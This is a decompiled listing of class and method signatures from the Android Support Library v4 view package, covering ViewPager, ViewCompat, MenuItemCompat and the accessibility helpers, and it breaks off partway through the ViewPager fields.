android/support/v4/view/MenuItemCompat$OnActionExpandListener.class


package android.support.v4.view;
public abstract interface MenuItemCompat$OnActionExpandListener {
    public abstract boolean onMenuItemActionExpand(android.view.MenuItem);
    public abstract boolean onMenuItemActionCollapse(android.view.MenuItem);
}










android/support/v4/view/ViewPager$ItemInfo.class


package android.support.v4.view;
synchronized class ViewPager$ItemInfo {
    Object object;
    int position;
    boolean scrolling;
    float widthFactor;
    float offset;
    void ViewPager$ItemInfo();
}










android/support/v4/view/AccessibilityDelegateCompat.class


package android.support.v4.view;
public synchronized class AccessibilityDelegateCompat {
    private static final AccessibilityDelegateCompat$AccessibilityDelegateImpl IMPL;
    private static final Object DEFAULT_DELEGATE;
    final Object mBridge;
    public void AccessibilityDelegateCompat();
    Object getBridge();
    public void sendAccessibilityEvent(android.view.View, int);
    public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    static void <clinit>();
}










android/support/v4/view/ViewPropertyAnimatorCompat$BaseViewPropertyAnimatorCompatImpl.class


package android.support.v4.view;
synchronized class ViewPropertyAnimatorCompat$BaseViewPropertyAnimatorCompatImpl implements ViewPropertyAnimatorCompat$ViewPropertyAnimatorCompatImpl {
    java.util.WeakHashMap mStarterMap;
    void ViewPropertyAnimatorCompat$BaseViewPropertyAnimatorCompatImpl();
    public void setDuration(ViewPropertyAnimatorCompat, android.view.View, long);
    public void alpha(ViewPropertyAnimatorCompat, android.view.View, float);
    public void translationX(ViewPropertyAnimatorCompat, android.view.View, float);
    public void translationY(ViewPropertyAnimatorCompat, android.view.View, float);
    public void withEndAction(ViewPropertyAnimatorCompat, android.view.View, Runnable);
    public long getDuration(ViewPropertyAnimatorCompat, android.view.View);
    public void setInterpolator(ViewPropertyAnimatorCompat, android.view.View, android.view.animation.Interpolator);
    public android.view.animation.Interpolator getInterpolator(ViewPropertyAnimatorCompat, android.view.View);
    public void setStartDelay(ViewPropertyAnimatorCompat, android.view.View, long);
    public long getStartDelay(ViewPropertyAnimatorCompat, android.view.View);
    public void alphaBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public void rotation(ViewPropertyAnimatorCompat, android.view.View, float);
    public void rotationBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public void rotationX(ViewPropertyAnimatorCompat, android.view.View, float);
    public void rotationXBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public void rotationY(ViewPropertyAnimatorCompat, android.view.View, float);
    public void rotationYBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public void scaleX(ViewPropertyAnimatorCompat, android.view.View, float);
    public void scaleXBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public void scaleY(ViewPropertyAnimatorCompat, android.view.View, float);
    public void scaleYBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public void cancel(ViewPropertyAnimatorCompat, android.view.View);
    public void x(ViewPropertyAnimatorCompat, android.view.View, float);
    public void xBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public void y(ViewPropertyAnimatorCompat, android.view.View, float);
    public void yBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public void translationXBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public void translationYBy(ViewPropertyAnimatorCompat, android.view.View, float);
    public void start(ViewPropertyAnimatorCompat, android.view.View);
    public void withLayer(ViewPropertyAnimatorCompat, android.view.View);
    public void withStartAction(ViewPropertyAnimatorCompat, android.view.View, Runnable);
    public void setListener(ViewPropertyAnimatorCompat, android.view.View, ViewPropertyAnimatorListener);
    public void setUpdateListener(ViewPropertyAnimatorCompat, android.view.View, ViewPropertyAnimatorUpdateListener);
    private void startAnimation(ViewPropertyAnimatorCompat, android.view.View);
    private void removeStartMessage(android.view.View);
    private void postStartMessage(ViewPropertyAnimatorCompat, android.view.View);
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl$1.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl$1 implements AccessibilityDelegateCompatIcs$AccessibilityDelegateBridge {
    void AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl$1(AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl, AccessibilityDelegateCompat);
    public boolean dispatchPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, Object);
    public void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public void sendAccessibilityEvent(android.view.View, int);
    public void sendAccessibilityEventUnchecked(android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/ViewPager$SimpleOnPageChangeListener.class


package android.support.v4.view;
public synchronized class ViewPager$SimpleOnPageChangeListener implements ViewPager$OnPageChangeListener {
    public void ViewPager$SimpleOnPageChangeListener();
    public void onPageScrolled(int, float, int);
    public void onPageSelected(int);
    public void onPageScrollStateChanged(int);
}










android/support/v4/view/MenuCompat.class


package android.support.v4.view;
public synchronized class MenuCompat {
    public void MenuCompat();
    public static void setShowAsAction(android.view.MenuItem, int);
}










android/support/v4/view/ViewCompat$JbMr1ViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$JbMr1ViewCompatImpl extends ViewCompat$JBViewCompatImpl {
    void ViewCompat$JbMr1ViewCompatImpl();
    public int getLabelFor(android.view.View);
    public void setLabelFor(android.view.View, int);
    public void setLayerPaint(android.view.View, android.graphics.Paint);
    public int getLayoutDirection(android.view.View);
    public void setLayoutDirection(android.view.View, int);
    public int getPaddingStart(android.view.View);
    public int getPaddingEnd(android.view.View);
    public void setPaddingRelative(android.view.View, int, int, int, int);
    public int getWindowSystemUiVisibility(android.view.View);
}










android/support/v4/view/ViewGroupCompat$ViewGroupCompatApi21Impl.class


package android.support.v4.view;
synchronized class ViewGroupCompat$ViewGroupCompatApi21Impl extends ViewGroupCompat$ViewGroupCompatJellybeanMR2Impl {
    void ViewGroupCompat$ViewGroupCompatApi21Impl();
    public void setTransitionGroup(android.view.ViewGroup, boolean);
    public boolean isTransitionGroup(android.view.ViewGroup);
}










android/support/v4/view/ViewConfigurationCompatICS.class


package android.support.v4.view;
synchronized class ViewConfigurationCompatICS {
    void ViewConfigurationCompatICS();
    static boolean hasPermanentMenuKey(android.view.ViewConfiguration);
}










android/support/v4/view/ViewPropertyAnimatorCompatICS$1.class


package android.support.v4.view;
final synchronized class ViewPropertyAnimatorCompatICS$1 extends android.animation.AnimatorListenerAdapter {
    void ViewPropertyAnimatorCompatICS$1(ViewPropertyAnimatorListener, android.view.View);
    public void onAnimationCancel(android.animation.Animator);
    public void onAnimationEnd(android.animation.Animator);
    public void onAnimationStart(android.animation.Animator);
}










android/support/v4/view/ViewConfigurationCompat.class


package android.support.v4.view;
public synchronized class ViewConfigurationCompat {
    static final ViewConfigurationCompat$ViewConfigurationVersionImpl IMPL;
    public void ViewConfigurationCompat();
    public static int getScaledPagingTouchSlop(android.view.ViewConfiguration);
    public static boolean hasPermanentMenuKey(android.view.ViewConfiguration);
    static void <clinit>();
}










android/support/v4/view/ViewPropertyAnimatorListener.class


package android.support.v4.view;
public abstract interface ViewPropertyAnimatorListener {
    public abstract void onAnimationStart(android.view.View);
    public abstract void onAnimationEnd(android.view.View);
    public abstract void onAnimationCancel(android.view.View);
}










android/support/v4/view/MenuItemCompat.class


package android.support.v4.view;
public synchronized class MenuItemCompat {
    private static final String TAG = MenuItemCompat;
    public static final int SHOW_AS_ACTION_NEVER = 0;
    public static final int SHOW_AS_ACTION_IF_ROOM = 1;
    public static final int SHOW_AS_ACTION_ALWAYS = 2;
    public static final int SHOW_AS_ACTION_WITH_TEXT = 4;
    public static final int SHOW_AS_ACTION_COLLAPSE_ACTION_VIEW = 8;
    static final MenuItemCompat$MenuVersionImpl IMPL;
    public void MenuItemCompat();
    public static void setShowAsAction(android.view.MenuItem, int);
    public static android.view.MenuItem setActionView(android.view.MenuItem, android.view.View);
    public static android.view.MenuItem setActionView(android.view.MenuItem, int);
    public static android.view.View getActionView(android.view.MenuItem);
    public static android.view.MenuItem setActionProvider(android.view.MenuItem, ActionProvider);
    public static ActionProvider getActionProvider(android.view.MenuItem);
    public static boolean expandActionView(android.view.MenuItem);
    public static boolean collapseActionView(android.view.MenuItem);
    public static boolean isActionViewExpanded(android.view.MenuItem);
    public static android.view.MenuItem setOnActionExpandListener(android.view.MenuItem, MenuItemCompat$OnActionExpandListener);
    static void <clinit>();
}










android/support/v4/view/VelocityTrackerCompat.class


package android.support.v4.view;
public synchronized class VelocityTrackerCompat {
    static final VelocityTrackerCompat$VelocityTrackerVersionImpl IMPL;
    public void VelocityTrackerCompat();
    public static float getXVelocity(android.view.VelocityTracker, int);
    public static float getYVelocity(android.view.VelocityTracker, int);
    static void <clinit>();
}










android/support/v4/view/ViewConfigurationCompat$ViewConfigurationVersionImpl.class


package android.support.v4.view;
abstract interface ViewConfigurationCompat$ViewConfigurationVersionImpl {
    public abstract int getScaledPagingTouchSlop(android.view.ViewConfiguration);
    public abstract boolean hasPermanentMenuKey(android.view.ViewConfiguration);
}










android/support/v4/view/ViewCompat$JBViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$JBViewCompatImpl extends ViewCompat$ICSViewCompatImpl {
    void ViewCompat$JBViewCompatImpl();
    public boolean hasTransientState(android.view.View);
    public void setHasTransientState(android.view.View, boolean);
    public void postInvalidateOnAnimation(android.view.View);
    public void postInvalidateOnAnimation(android.view.View, int, int, int, int);
    public void postOnAnimation(android.view.View, Runnable);
    public void postOnAnimationDelayed(android.view.View, Runnable, long);
    public int getImportantForAccessibility(android.view.View);
    public void setImportantForAccessibility(android.view.View, int);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    public accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public android.view.ViewParent getParentForAccessibility(android.view.View);
    public int getMinimumWidth(android.view.View);
    public int getMinimumHeight(android.view.View);
    public void requestApplyInsets(android.view.View);
    public boolean getFitsSystemWindows(android.view.View);
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl.class


package android.support.v4.view;
synchronized class AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl extends AccessibilityDelegateCompat$AccessibilityDelegateIcsImpl {
    void AccessibilityDelegateCompat$AccessibilityDelegateJellyBeanImpl();
    public Object newAccessiblityDelegateBridge(AccessibilityDelegateCompat);
    public accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(Object, android.view.View);
    public boolean performAccessibilityAction(Object, android.view.View, int, android.os.Bundle);
}










android/support/v4/view/KeyEventCompat$KeyEventVersionImpl.class


package android.support.v4.view;
abstract interface KeyEventCompat$KeyEventVersionImpl {
    public abstract int normalizeMetaState(int);
    public abstract boolean metaStateHasModifiers(int, int);
    public abstract boolean metaStateHasNoModifiers(int);
    public abstract void startTracking(android.view.KeyEvent);
    public abstract boolean isTracking(android.view.KeyEvent);
    public abstract Object getKeyDispatcherState(android.view.View);
    public abstract boolean dispatch(android.view.KeyEvent, android.view.KeyEvent$Callback, Object, Object);
}










android/support/v4/view/PagerTitleStrip$PagerTitleStripImplBase.class


package android.support.v4.view;
synchronized class PagerTitleStrip$PagerTitleStripImplBase implements PagerTitleStrip$PagerTitleStripImpl {
    void PagerTitleStrip$PagerTitleStripImplBase();
    public void setSingleLineAllCaps(android.widget.TextView);
}










android/support/v4/view/VelocityTrackerCompatHoneycomb.class


package android.support.v4.view;
synchronized class VelocityTrackerCompatHoneycomb {
    void VelocityTrackerCompatHoneycomb();
    public static float getXVelocity(android.view.VelocityTracker, int);
    public static float getYVelocity(android.view.VelocityTracker, int);
}










android/support/v4/view/MotionEventCompat.class


package android.support.v4.view;
public synchronized class MotionEventCompat {
    static final MotionEventCompat$MotionEventVersionImpl IMPL;
    public static final int ACTION_MASK = 255;
    public static final int ACTION_POINTER_DOWN = 5;
    public static final int ACTION_POINTER_UP = 6;
    public static final int ACTION_HOVER_MOVE = 7;
    public static final int ACTION_SCROLL = 8;
    public static final int ACTION_POINTER_INDEX_MASK = 65280;
    public static final int ACTION_POINTER_INDEX_SHIFT = 8;
    public static final int ACTION_HOVER_ENTER = 9;
    public static final int ACTION_HOVER_EXIT = 10;
    public void MotionEventCompat();
    public static int getActionMasked(android.view.MotionEvent);
    public static int getActionIndex(android.view.MotionEvent);
    public static int findPointerIndex(android.view.MotionEvent, int);
    public static int getPointerId(android.view.MotionEvent, int);
    public static float getX(android.view.MotionEvent, int);
    public static float getY(android.view.MotionEvent, int);
    public static int getPointerCount(android.view.MotionEvent);
    static void <clinit>();
}










android/support/v4/view/ViewCompat$ImportantForAccessibility.class


package android.support.v4.view;
abstract interface ViewCompat$ImportantForAccessibility extends annotation.Annotation {
}










android/support/v4/view/MenuItemCompat$HoneycombMenuVersionImpl.class


package android.support.v4.view;
synchronized class MenuItemCompat$HoneycombMenuVersionImpl implements MenuItemCompat$MenuVersionImpl {
    void MenuItemCompat$HoneycombMenuVersionImpl();
    public void setShowAsAction(android.view.MenuItem, int);
    public android.view.MenuItem setActionView(android.view.MenuItem, android.view.View);
    public android.view.MenuItem setActionView(android.view.MenuItem, int);
    public android.view.View getActionView(android.view.MenuItem);
    public boolean expandActionView(android.view.MenuItem);
    public boolean collapseActionView(android.view.MenuItem);
    public boolean isActionViewExpanded(android.view.MenuItem);
    public android.view.MenuItem setOnActionExpandListener(android.view.MenuItem, MenuItemCompat$OnActionExpandListener);
}










android/support/v4/view/ViewConfigurationCompat$BaseViewConfigurationVersionImpl.class


package android.support.v4.view;
synchronized class ViewConfigurationCompat$BaseViewConfigurationVersionImpl implements ViewConfigurationCompat$ViewConfigurationVersionImpl {
    void ViewConfigurationCompat$BaseViewConfigurationVersionImpl();
    public int getScaledPagingTouchSlop(android.view.ViewConfiguration);
    public boolean hasPermanentMenuKey(android.view.ViewConfiguration);
}










android/support/v4/view/ViewPager$LayoutParams.class


package android.support.v4.view;
public synchronized class ViewPager$LayoutParams extends android.view.ViewGroup$LayoutParams {
    public boolean isDecor;
    public int gravity;
    float widthFactor;
    boolean needsMeasure;
    int position;
    int childIndex;
    public void ViewPager$LayoutParams();
    public void ViewPager$LayoutParams(android.content.Context, android.util.AttributeSet);
}










android/support/v4/view/MotionEventCompat$EclairMotionEventVersionImpl.class


package android.support.v4.view;
synchronized class MotionEventCompat$EclairMotionEventVersionImpl implements MotionEventCompat$MotionEventVersionImpl {
    void MotionEventCompat$EclairMotionEventVersionImpl();
    public int findPointerIndex(android.view.MotionEvent, int);
    public int getPointerId(android.view.MotionEvent, int);
    public float getX(android.view.MotionEvent, int);
    public float getY(android.view.MotionEvent, int);
    public int getPointerCount(android.view.MotionEvent);
}










android/support/v4/view/PagerTabStrip.class


package android.support.v4.view;
public synchronized class PagerTabStrip extends PagerTitleStrip {
    private static final String TAG = PagerTabStrip;
    private static final int INDICATOR_HEIGHT = 3;
    private static final int MIN_PADDING_BOTTOM = 6;
    private static final int TAB_PADDING = 16;
    private static final int TAB_SPACING = 32;
    private static final int MIN_TEXT_SPACING = 64;
    private static final int FULL_UNDERLINE_HEIGHT = 1;
    private static final int MIN_STRIP_HEIGHT = 32;
    private int mIndicatorColor;
    private int mIndicatorHeight;
    private int mMinPaddingBottom;
    private int mMinTextSpacing;
    private int mMinStripHeight;
    private int mTabPadding;
    private final android.graphics.Paint mTabPaint;
    private final android.graphics.Rect mTempRect;
    private int mTabAlpha;
    private boolean mDrawFullUnderline;
    private boolean mDrawFullUnderlineSet;
    private int mFullUnderlineHeight;
    private boolean mIgnoreTap;
    private float mInitialMotionX;
    private float mInitialMotionY;
    private int mTouchSlop;
    public void PagerTabStrip(android.content.Context);
    public void PagerTabStrip(android.content.Context, android.util.AttributeSet);
    public void setTabIndicatorColor(int);
    public void setTabIndicatorColorResource(int);
    public int getTabIndicatorColor();
    public void setPadding(int, int, int, int);
    public void setTextSpacing(int);
    public void setBackgroundDrawable(android.graphics.drawable.Drawable);
    public void setBackgroundColor(int);
    public void setBackgroundResource(int);
    public void setDrawFullUnderline(boolean);
    public boolean getDrawFullUnderline();
    int getMinHeight();
    public boolean onTouchEvent(android.view.MotionEvent);
    protected void onDraw(android.graphics.Canvas);
    void updateTextPositions(int, float, boolean);
}










android/support/v4/view/ViewGroupCompatApi21.class


package android.support.v4.view;
synchronized class ViewGroupCompatApi21 {
    void ViewGroupCompatApi21();
    public static void setTransitionGroup(android.view.ViewGroup, boolean);
    public static boolean isTransitionGroup(android.view.ViewGroup);
}










android/support/v4/view/ViewPager$PagerObserver.class


package android.support.v4.view;
synchronized class ViewPager$PagerObserver extends android.database.DataSetObserver {
    private void ViewPager$PagerObserver(ViewPager);
    public void onChanged();
    public void onInvalidated();
}










android/support/v4/view/ViewParentCompat$ViewParentCompatICSImpl.class


package android.support.v4.view;
synchronized class ViewParentCompat$ViewParentCompatICSImpl extends ViewParentCompat$ViewParentCompatStubImpl {
    void ViewParentCompat$ViewParentCompatICSImpl();
    public boolean requestSendAccessibilityEvent(android.view.ViewParent, android.view.View, android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/ViewCompat$Api21ViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$Api21ViewCompatImpl extends ViewCompat$KitKatViewCompatImpl {
    void ViewCompat$Api21ViewCompatImpl();
    public void setTransitionName(android.view.View, String);
    public String getTransitionName(android.view.View);
    public void requestApplyInsets(android.view.View);
    public void setElevation(android.view.View, float);
    public float getElevation(android.view.View);
    public void setTranslationZ(android.view.View, float);
    public float getTranslationZ(android.view.View);
    public void setOnApplyWindowInsetsListener(android.view.View, OnApplyWindowInsetsListener);
}










android/support/v4/view/ViewCompat$EclairMr1ViewCompatImpl.class


package android.support.v4.view;
synchronized class ViewCompat$EclairMr1ViewCompatImpl extends ViewCompat$BaseViewCompatImpl {
    void ViewCompat$EclairMr1ViewCompatImpl();
    public boolean isOpaque(android.view.View);
    public void setChildrenDrawingOrderEnabled(android.view.ViewGroup, boolean);
}










android/support/v4/view/AccessibilityDelegateCompat$AccessibilityDelegateImpl.class


package android.support.v4.view;
abstract interface AccessibilityDelegateCompat$AccessibilityDelegateImpl {
    public abstract Object newAccessiblityDelegateDefaultImpl();
    public abstract Object newAccessiblityDelegateBridge(AccessibilityDelegateCompat);
    public abstract boolean dispatchPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void onInitializeAccessibilityNodeInfo(Object, android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public abstract void onPopulateAccessibilityEvent(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract boolean onRequestSendAccessibilityEvent(Object, android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract void sendAccessibilityEvent(Object, android.view.View, int);
    public abstract void sendAccessibilityEventUnchecked(Object, android.view.View, android.view.accessibility.AccessibilityEvent);
    public abstract accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(Object, android.view.View);
    public abstract boolean performAccessibilityAction(Object, android.view.View, int, android.os.Bundle);
}










android/support/v4/view/PagerTitleStrip$PageListener.class


package android.support.v4.view;
synchronized class PagerTitleStrip$PageListener extends android.database.DataSetObserver implements ViewPager$OnPageChangeListener, ViewPager$OnAdapterChangeListener {
    private int mScrollState;
    private void PagerTitleStrip$PageListener(PagerTitleStrip);
    public void onPageScrolled(int, float, int);
    public void onPageSelected(int);
    public void onPageScrollStateChanged(int);
    public void onAdapterChanged(PagerAdapter, PagerAdapter);
    public void onChanged();
}










android/support/v4/view/ViewPager$PageTransformer.class


package android.support.v4.view;
public abstract interface ViewPager$PageTransformer {
    public abstract void transformPage(android.view.View, float);
}










android/support/v4/view/MenuItemCompatIcs.class


package android.support.v4.view;
synchronized class MenuItemCompatIcs {
    void MenuItemCompatIcs();
    public static boolean expandActionView(android.view.MenuItem);
    public static boolean collapseActionView(android.view.MenuItem);
    public static boolean isActionViewExpanded(android.view.MenuItem);
    public static android.view.MenuItem setOnActionExpandListener(android.view.MenuItem, MenuItemCompatIcs$SupportActionExpandProxy);
}










android/support/v4/view/MotionEventCompat$BaseMotionEventVersionImpl.class


package android.support.v4.view;
synchronized class MotionEventCompat$BaseMotionEventVersionImpl implements MotionEventCompat$MotionEventVersionImpl {
    void MotionEventCompat$BaseMotionEventVersionImpl();
    public int findPointerIndex(android.view.MotionEvent, int);
    public int getPointerId(android.view.MotionEvent, int);
    public float getX(android.view.MotionEvent, int);
    public float getY(android.view.MotionEvent, int);
    public int getPointerCount(android.view.MotionEvent);
}










android/support/v4/view/ViewPager$MyAccessibilityDelegate.class


package android.support.v4.view;
synchronized class ViewPager$MyAccessibilityDelegate extends AccessibilityDelegateCompat {
    void ViewPager$MyAccessibilityDelegate(ViewPager);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    private boolean canScroll();
}










android/support/v4/view/ViewCompat.class


package android.support.v4.view;
public synchronized class ViewCompat {
    private static final String TAG = ViewCompat;
    public static final int OVER_SCROLL_ALWAYS = 0;
    public static final int OVER_SCROLL_IF_CONTENT_SCROLLS = 1;
    public static final int OVER_SCROLL_NEVER = 2;
    private static final long FAKE_FRAME_TIME = 10;
    public static final int IMPORTANT_FOR_ACCESSIBILITY_AUTO = 0;
    public static final int IMPORTANT_FOR_ACCESSIBILITY_YES = 1;
    public static final int IMPORTANT_FOR_ACCESSIBILITY_NO = 2;
    public static final int IMPORTANT_FOR_ACCESSIBILITY_NO_HIDE_DESCENDANTS = 4;
    public static final int ACCESSIBILITY_LIVE_REGION_NONE = 0;
    public static final int ACCESSIBILITY_LIVE_REGION_POLITE = 1;
    public static final int ACCESSIBILITY_LIVE_REGION_ASSERTIVE = 2;
    public static final int LAYER_TYPE_NONE = 0;
    public static final int LAYER_TYPE_SOFTWARE = 1;
    public static final int LAYER_TYPE_HARDWARE = 2;
    public static final int LAYOUT_DIRECTION_LTR = 0;
    public static final int LAYOUT_DIRECTION_RTL = 1;
    public static final int LAYOUT_DIRECTION_INHERIT = 2;
    public static final int LAYOUT_DIRECTION_LOCALE = 3;
    public static final int MEASURED_SIZE_MASK = 16777215;
    public static final int MEASURED_STATE_MASK = -16777216;
    public static final int MEASURED_HEIGHT_STATE_SHIFT = 16;
    public static final int MEASURED_STATE_TOO_SMALL = 16777216;
    static final ViewCompat$ViewCompatImpl IMPL;
    public void ViewCompat();
    public static boolean canScrollHorizontally(android.view.View, int);
    public static boolean canScrollVertically(android.view.View, int);
    public static int getOverScrollMode(android.view.View);
    public static void setOverScrollMode(android.view.View, int);
    public static void onPopulateAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public static void onInitializeAccessibilityNodeInfo(android.view.View, accessibility.AccessibilityNodeInfoCompat);
    public static void setAccessibilityDelegate(android.view.View, AccessibilityDelegateCompat);
    public static boolean hasAccessibilityDelegate(android.view.View);
    public static boolean hasTransientState(android.view.View);
    public static void setHasTransientState(android.view.View, boolean);
    public static void postInvalidateOnAnimation(android.view.View);
    public static void postInvalidateOnAnimation(android.view.View, int, int, int, int);
    public static void postOnAnimation(android.view.View, Runnable);
    public static void postOnAnimationDelayed(android.view.View, Runnable, long);
    public static int getImportantForAccessibility(android.view.View);
    public static void setImportantForAccessibility(android.view.View, int);
    public static boolean performAccessibilityAction(android.view.View, int, android.os.Bundle);
    public static accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public static float getAlpha(android.view.View);
    public static void setLayerType(android.view.View, int, android.graphics.Paint);
    public static int getLayerType(android.view.View);
    public static int getLabelFor(android.view.View);
    public static void setLabelFor(android.view.View, int);
    public static void setLayerPaint(android.view.View, android.graphics.Paint);
    public static int getLayoutDirection(android.view.View);
    public static void setLayoutDirection(android.view.View, int);
    public static android.view.ViewParent getParentForAccessibility(android.view.View);
    public static boolean isOpaque(android.view.View);
    public static int resolveSizeAndState(int, int, int);
    public static int getMeasuredWidthAndState(android.view.View);
    public static int getMeasuredHeightAndState(android.view.View);
    public static int getMeasuredState(android.view.View);
    public static int getAccessibilityLiveRegion(android.view.View);
    public static void setAccessibilityLiveRegion(android.view.View, int);
    public static int getPaddingStart(android.view.View);
    public static int getPaddingEnd(android.view.View);
    public static void setPaddingRelative(android.view.View, int, int, int, int);
    public static void dispatchStartTemporaryDetach(android.view.View);
    public static void dispatchFinishTemporaryDetach(android.view.View);
    public static float getTranslationX(android.view.View);
    public static float getTranslationY(android.view.View);
    public static int getMinimumWidth(android.view.View);
    public static int getMinimumHeight(android.view.View);
    public static ViewPropertyAnimatorCompat animate(android.view.View);
    public static void setTranslationX(android.view.View, float);
    public static void setTranslationY(android.view.View, float);
    public static void setAlpha(android.view.View, float);
    public static void setX(android.view.View, float);
    public static void setY(android.view.View, float);
    public static void setRotation(android.view.View, float);
    public static void setRotationX(android.view.View, float);
    public static void setRotationY(android.view.View, float);
    public static void setScaleX(android.view.View, float);
    public static void setScaleY(android.view.View, float);
    public static float getPivotX(android.view.View);
    public static void setPivotX(android.view.View, float);
    public static float getPivotY(android.view.View);
    public static void setPivotY(android.view.View, float);
    public static float getRotation(android.view.View);
    public static float getRotationX(android.view.View);
    public static float getRotationY(android.view.View);
    public static float getScaleX(android.view.View);
    public static float getScaleY(android.view.View);
    public static float getX(android.view.View);
    public static float getY(android.view.View);
    public static void setElevation(android.view.View, float);
    public static float getElevation(android.view.View);
    public static void setTranslationZ(android.view.View, float);
    public static float getTranslationZ(android.view.View);
    public static void setTransitionName(android.view.View, String);
    public static String getTransitionName(android.view.View);
    public static int getWindowSystemUiVisibility(android.view.View);
    public static void requestApplyInsets(android.view.View);
    public static void setChildrenDrawingOrderEnabled(android.view.ViewGroup, boolean);
    public static boolean getFitsSystemWindows(android.view.View);
    public static void jumpDrawablesToCurrentState(android.view.View);
    public static void setOnApplyWindowInsetsListener(android.view.View, OnApplyWindowInsetsListener);
    static void <clinit>();
}










android/support/v4/view/OnApplyWindowInsetsListener.class


package android.support.v4.view;
public abstract interface OnApplyWindowInsetsListener {
    public abstract WindowInsetsCompat onApplyWindowInsets(android.view.View, WindowInsetsCompat);
}










android/support/v4/view/ViewPager.class


package android.support.v4.view;
public synchronized class ViewPager extends android.view.ViewGroup {
    private static final String TAG = ViewPager;
    private static final boolean DEBUG = 0;
    private static final boolean USE_CACHE = 0;
    private static final int DEFAULT_OFFSCREEN_PAGES = 1;
    private static final int MAX_SETTLE_DURATION = 600;
    private static final int MIN_DISTANCE_FOR_FLING = 25;
    private static final int DEFAULT_GUTTER_SIZE = 16;
    private static final int MIN_FLING_VELOCITY = 400;
    private static final int[] LAYOUT_ATTRS;
    private int mExpectedAdapterCount;
    private static final java.util.Comparator COMPARATOR;
    private static final android.view.animation.Interpolator sInterpolator;
    private final java.util.ArrayList mItems;
    private final ViewPager$ItemInfo mTempItem;
    private final android.graphics.Rect mTempRect;
    private PagerAdapter mAdapter;
    private int mCurItem;
    private int mRestoredCurItem;
    private android.os.Parcelable mRestoredAdapterState;
    private ClassLoader mRestoredClassLoader;
    private android.widget.Scroller mScroller;
    private ViewPager$PagerObserver mObserver;
    private int mPageMargin;
    private android.graphics.drawable.Drawable mMarginDrawable;
    private int mTopPageBounds;
    private int mBottomPageBounds;
    private float mFirstOffset;
    private float mLastOffset;
    private int mChildWidthMeasureSpec;
    private int mChildHeightMeasureSpec;
    private boolean mInLayout;
    private boolean mScrollingCacheEnabled;
    private boolean mPopulatePending;
    private int mOffscreenPageLimit;
    private boolean mIsBeingDragged;
    private boolean mIsUnableToDrag;
    private boolean mIgnoreGutter;
    private int mDefaultGutterSize;
    private int mGutterSize;
    private int mTouchSlop;
    private float mLastMotionX;
    private float mLastMotionY;
    private float mInitialMotionX;
    private float mInitialMotionY;
    private int mActivePointerId;
    private static final int INVALID_POINTER = -1;
    private android.view.VelocityTracker mVelocityTracker;
    private int mMinimumVelocity;
    private int mMaximumVelocity;
    private int mFlingDistance;
    private int mCloseEnough;
    private static final int CLOSE_ENOUGH = 2;
    private boolean mFakeDragging;
    private long mFakeDragBeginTime;
    private android.support.v4.widget.EdgeEffectCompat mLeftEdge;
    private android.support.v4.widget.EdgeEffectCompat mRightEdge;
    private boolean mFirstLayout;
    private boolean mNeedCalculatePageOffsets;
    private boolean mCalledSuper;
    private int mDecorChildCount;
    private ViewPager$OnPageChangeListener mOnPageChangeListener;
    private ViewPager$OnPageChangeListener mInternalPageChangeListener;
    private ViewPager$OnAdapterChangeListener mAdapterChangeListener;
    private ViewPager$PageTransformer mPageTransformer;
